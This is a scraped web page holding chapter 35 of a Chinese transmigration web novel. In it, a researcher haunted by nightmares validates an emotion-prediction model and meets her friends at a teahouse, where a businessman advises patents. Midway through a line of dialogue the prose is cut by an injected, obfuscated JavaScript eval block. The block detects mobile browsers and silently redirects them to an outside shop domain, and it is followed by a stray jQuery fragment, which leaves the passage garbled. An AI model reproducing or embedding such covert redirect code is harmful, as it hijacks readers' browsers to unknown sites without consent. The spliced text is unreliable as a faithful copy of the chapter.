文趣网 > 都市小说 > 穿成恶毒女配的闺蜜后 > 35.你为什么不死?
    夜,A大实验室。

    温言拧开药瓶,手指发抖。

    两粒白色药片滚进掌心,她就着水吞下去,呼吸不稳,心在狂跳。

    她看了一眼手机:23:17。

    实验室里只有她一个人。电脑屏幕的蓝光照亮了工作台上散落的草稿纸,上面密密麻麻写满了公式和注释。她记得自己是傍晚整理数据时趴在桌上睡着的,5个小时,她被噩梦牢牢困住。

    是的,她又做噩梦了。

    她站在一个宽敞明亮的颁奖台上,手里握着沉甸甸的奖杯,台下是黑压压的观众席,掌声如潮水般涌来。有人给她献花,有人和她握手,她的名字被听不懂的语言念出来,她笑着致谢,说得几乎要落泪,模糊的视线里,一眨眼,台下所有人都不见了。

    她站在空无一人的礼堂中央,头顶的水晶吊灯开始摇晃,墙壁从四个方向同时向她挤压过来。地震。她拔腿就跑,跑出礼堂,跑到街道上,街灯一盏接一盏地熄灭,地面上裂开一道道黑色的缝隙。

    然后她看到了人。街上全是人。

    所有人都在看她,所有人都在朝她走来,步伐整齐划一,表情完全一致,像被同一只无形的手操控着。他们围过来,嘴唇翕动,用一种她从未听过却每一个字都听得懂的声音问——

    “你为什么不死?”

    “为什么不死?”

    “为什么不死?为什么不死??为什么不死啊!!”

    温言感觉头一阵发晕。药效还没上来,梦里那些声音还在耳膜深处嗡嗡作响。她闭上眼,让心跳慢慢降下来。

    再次睁开眼,她觉得呼吸均匀了些许。她的目光落在面前的屏幕上。

    MERC-Alpha核心模型刚跑完了最后一轮验证,收敛曲线平滑,损失函数在迭代过程中没有任何异常波动。预测曲线与实际监测数据的匹配度显示“98.7%”。

    她和她的团队花了整整一个秋冬,把一堆散落的传感器数据和心理学量表变成了这个模型。

    真好啊。她那么优秀,那么有能力。

    但这样的她,凭什么要有那么糟糕的结局?

    “凭什么……”她听到自己的声音,血丝在眼白里蔓延。

    “凭什么……凭什么……”她怎么能不恨。恨这无端对她发难的命运,她只是活着,只是努力活着。

    没有回答。实验室只有电脑主机散热风扇转动的声音,或许不止,还有一只蛰伏在暗处的巨兽的呼吸。

    “呵......”她忽然笑了,她不会怕的。

    她才不要乖乖走向那个结局。

    手机被拿起,她点开群聊消息,灵活的手指在键盘上敲动:“MERC-Alpha核心模型验证通过。第一阶段目标达成。”

    盛昭阳几乎是秒回:“!!!言言你太牛了!!”

    祝行野跟了一长串欢呼鼓掌的表情包。钱钱也很快回复:“厉害,明天下午墟之间细说?”

    “好。”她打完这个字,把手机屏幕按灭,看着天花板上那片苍白的灯光。

    她更不要当这个世界的祭品。

    ——————————

    次日下午,墟之间。

    靠窗的茶座边,祝行简和司尘对坐弈棋。司尘执白,祝行简执黑,棋盘上落子稀疏,胜负未分。司尘落子的速度不疾不徐,祝行简捏着一枚黑子,指腹无意识地摩挲着棋子的边缘。

    隔壁茶桌,盛昭阳面前摆着一杯花茶,一口没动。她用吸管无意识地戳着杯底的柠檬片,那片柠檬已经支离破碎,果肉纤维丝丝缕缕地漂在茶汤里。

    钱钱从平板上抬眼,看了那片惨遭凌迟的柠檬一眼,无语发问:“柠檬跟你有仇?”

    盛昭阳回神,看一眼柠檬,叹口气,把吸管往杯子里一丢:“钱钱,我越想越觉得不对。”

    “什么不对?”

    “白夜的事。直播间那个人……还有之前的星灿传媒。”她顿了顿,手指在杯沿上画圈,“那天我气昏头了,现在想想,我冲去找Serena的时候,她的反应其实也是懵的。”

    钱钱微微挑眉,大小姐终于发现不对劲了。

    “没头脑的脑袋找回中。”她默默吐槽。

    “啊?”

    “啊没事。”钱钱端起茶喝了一口,语气恢复如常,“你追去机场那天,没问她这件事?”

    盛昭阳底气不太足:“那天……光想着Mr. Clark的事了。加上她又说什么永居、移民的,我一急,就把这茬给忘了。”

    钱钱放下茶杯,想了想:“等她回来再找个机会问问。有误会趁早解开。”她停了一下,“我也觉得不是她的手笔。”

    盛昭阳像是找到了同盟,眼睛顿时亮了:“对吧对吧!可......谁会这么干啊?白夜就是个学生,最多有点音乐才华,给他下套,还不如给我下套骗得多呢。”

    该说不说,大小姐对自己的定位很是清晰。钱钱一阵无语,再度端起茶杯,让杯沿挡住了自己抽搐的嘴角。

    门口的风铃轻响,温言推门进来。

    “下午好,抱歉来晚了。”

    一直在神游的祝行野几乎是条件反射地从椅子上直起身来,动作之快差点把面前的茶杯带倒:“没事言言!我们也刚来不久。”

    温言看了他一眼,在他旁边的空位坐下。祝行野赶紧把桌上那碟桂花糕往她那边推了推,推完之后大概觉得太殷勤了,又欲盖弥彰地把碟子往回挪了半寸。

    盛昭阳已经等不及了,兴奋地问温言:“言言!快说说快说说!98.7%是什么概念!”

    “意味着,我们基于环境参数预测情绪状态的底层逻辑是成立的。”她笑着调出平板里的数据报告,“之前只能做到百分之六十二的相关性分析,只能从事后的数据里找规律,现在——”

    “从事后的分析,转变成了事前的预判。”钱钱慢慢跟上思路了。

    温言点头:“对。虽然离产品化还有距离,但地基打好了。”

    盛昭阳仿佛看到了一座巍峨大厦从地基上拔地而起,她看向温言,瞬间星星眼:“我就知道言言你是最棒的!这不得庆祝一下——”

    “八字没一撇,切忌中场开香槟。”钱钱头也不抬。

    盛昭阳嘟起嘴,把下巴搁在桌上,变成了仓鼠精:“好吧……可是好久没开派对了。”

    “等产品正式发布再开也不迟。”钱钱看她,眼里有几分纵容的笑意,“到时候给你批预算。”

    “真的?这可是你说的!”盛昭阳立刻弹起来,伸出小指,“拉钩。”

    钱钱无奈地伸出手。

    温言看着她们斗嘴,唇角微微弯起。

    ——————————

    司尘与祝行简还未分出胜负。

    祝行简落下一子,棋子在棋盘上落定,发出极轻的一声脆响。

    “司教授这里,总是这么清净。”

    司尘执白,亦落子,不假思索:“清净才能思考。祝先生今日心不静。”

    祝行简也笑了,没有否认:“被看出来了。”

    “棋路比平时急

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523043|202930||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”司尘重新拈起一枚棋子,“有心事。”

    祝行简笑而不语,端起茶盏抿了一口。

    司尘没有再追问,他看着棋盘,手中的白子稳稳落下:“步步为营,切忌分心。你输了。”

    祝行简一愣,他刚才只顾着进攻,这才发现司尘不显山不露水地埋了一条暗线,此时连成了一片,自己的大龙已经被围死了。

    “布局深远。我输得不冤。”祝行简笑道。

    “还早,再来一局?”

    祝行简点头:“再来一局。”

    ——————————

    邻桌,正事聊完以后,气氛松弛下来。

    “墟之间总这么清净。”钱钱说,“跟单独开辟了个空间似的。”

    “我也觉得。”盛昭阳端起她那杯被戳烂了柠檬的花茶,终于喝了一口。

    一旁的温言把平板支起来,又开始研究那些数据,茶杯在边上,一口未动。

    祝行野注意到了。

    “言言,你不喝茶吗?”他小声问。

    温言回过神,摇了摇头:“怕睡不着。最近本来睡眠就不太好。”

    祝行野闻言,顿时紧张起来:“又做噩梦了?要不要去医院看看?我认识几个睡眠科的专家,可以帮你......”

    “不用,谢谢。”温言打断他。

    “噩梦?”钱钱关心地看向她,想起上次祝行野专门给了温言安神药,“很严重吗?之前好像听祝行野提过你总梦魇。”

    “还好。除了影响休息,倒也没别的。”温言轻描淡写道,“就是……有两三年了。”

    盛昭阳惊讶地瞪大眼睛:“居然这么久?你都梦到什么呀?妖魔鬼怪那种?”

    “不是。”温言摇了摇头。

    她的目光很轻地掠过钱钱的脸,又收回来。

    “是一些……很真实的不好的事。”她的目光落在茶汤表面那片微微晃动的光斑上,语气很轻,“数据被盗,被人冤枉,众叛亲离,不得善终——”

    钱钱端起茶杯送到唇边的动作顿了一下。

    温言的余光捕捉到了,她面色如常,微笑道:“都是这些乱七八糟的。”

    祝行简正要落子的手悬在棋盘上方,他听到了边上几人谈论的内容,一种怪异感涌上心头。

    盛昭阳完全没注意到这些细微的波动,她听完就皱了眉:“啊……反复做这种梦,那真是有点吓人了。”

    温言笑了笑:“可能科研压力太大了。日有所思,夜有所梦。”

    祝行简放下棋子,转向温言。

    “压力需要及时排解。不过,担心数据安全的话,有一件事我建议你尽快启动。”

    温言抬头看他:“您说。”

    “全球范围的专利申请流程。模型核心算法和架构是你和团队的原创成果,科研界只认发表时间,但商界认的是优先权。在正式对外发布之前,先上好保险。”

    温言郑重地点头:“明白。谢谢祝总提醒。”

    ——————————

    傍晚,祝行简的商务车在晚高峰的车流中缓缓穿行,车窗外的霓虹灯飞速掠过他的脸。

    他正在讲电话。

    “……对,温言那个‘情绪-环境’耦合项目。重新评估,风险等级调至最高......是的,不惜成本。在我出国期间,直接向我指定的负责人汇报。”

    挂断电话,他望向窗外。霓虹灯还在闪,红蓝绿紫的光交替打在他轮廓分明的侧脸上。

    他在等,这棋局上,还有人没有落子。